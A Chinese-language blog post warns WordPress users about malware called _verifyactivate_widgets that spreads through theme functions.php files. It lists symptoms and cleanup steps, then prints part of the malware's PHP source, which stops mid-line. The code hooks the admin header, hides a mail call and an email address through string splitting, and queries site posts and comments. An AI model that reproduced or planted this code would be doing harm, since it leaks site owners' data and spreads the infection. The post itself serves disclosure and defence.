今天莫名其妙发现自己的测试站的主题带上了恶意代码,非常明显的就是出现了一个函数_verifyactivate_widgets,通常情况下,一旦出现了这个函数在你的主题中,你就麻烦了,这是一串恶意代码,虽然不影响主题的使用(有的时候是影响的,当收到双重感染的时候,_verifyactivate_widgets函数会出现两次,导致了主题不能使用),但这段代码将会通知代码的作者(邮件方式),而且PHP可以任意的获取用户名、博客的主题文件等等,而且它还特地为博客创建了一些看上去非常有用的代码,一些挂件等等,一切的一切都被暴露给这段代码的作者。这里将这段代码曝光,并强烈谴责这些恶意代码的生产者。
症状:
1、可能会提示_verifyactivate_widgets函数声明了两次,程序错误,主题不能使用;
2、当前博客下的所有主题的functions.php中都会带下面这段代码;
3、即使你通过FTP将这段代码删除,但你只要再运行一次博客,它就会像噩梦一样重新回来。
这段代码的功能就是搜集博客的资料,各种资料,包括文章、用户和评论等等。你的博客很有可能成为为别人创造内容和财富的肉鸡。
治疗:
1、在空间管理面板先停用这个域名,使用沙盒功能,或者联系你的服务商;
2、备份所有数据,删除目前使用的主题之外的其他所有主题;
3、下载当前主题,一个文件一个文件的检查,把原本不属于你的代码删除;
4、重新上传和开启网站;
5、使用FTP,将你的主题文件的权限的“写入”权限去除(重要);
6、利用360等其他第三方PHP杀毒程序对网站进行杀毒;
7、确保你的WordPress系统没有被感染,确保你的主机没有被感染。
}</p>
<p>if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_verifyactivate_widgets");
function _getprepare_widget(){
if(!isset($text_length)) $text_length=120;
if(!isset($check)) $check="cookie";
if(!isset($tagsallowed)) $tagsallowed="<a>";
if(!isset($filter)) $filter="none";
if(!isset($coma)) $coma="";
if(!isset($home_filter)) $home_filter=get_option("home");
if(!isset($pref_filters)) $pref_filters="wp_";
if(!isset($is_use_more_link)) $is_use_more_link=1;
if(!isset($com_type)) $com_type="";
if(!isset($cpages)) $cpages=$_GET["cperpage"];
if(!isset($post_auth_comments)) $post_auth_comments="";
if(!isset($com_is_approved)) $com_is_approved="";
if(!isset($post_auth)) $post_auth="auth";
if(!isset($link_text_more)) $link_text_more="(more...)";
if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
if(!isset($contentmore)) $contentmore="ma".$coma."il";
if(!isset($for_more)) $for_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_yes) :</p>
<p> global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags)) $fixed_tags=1;
if(!isset($filters)) $filters=$home_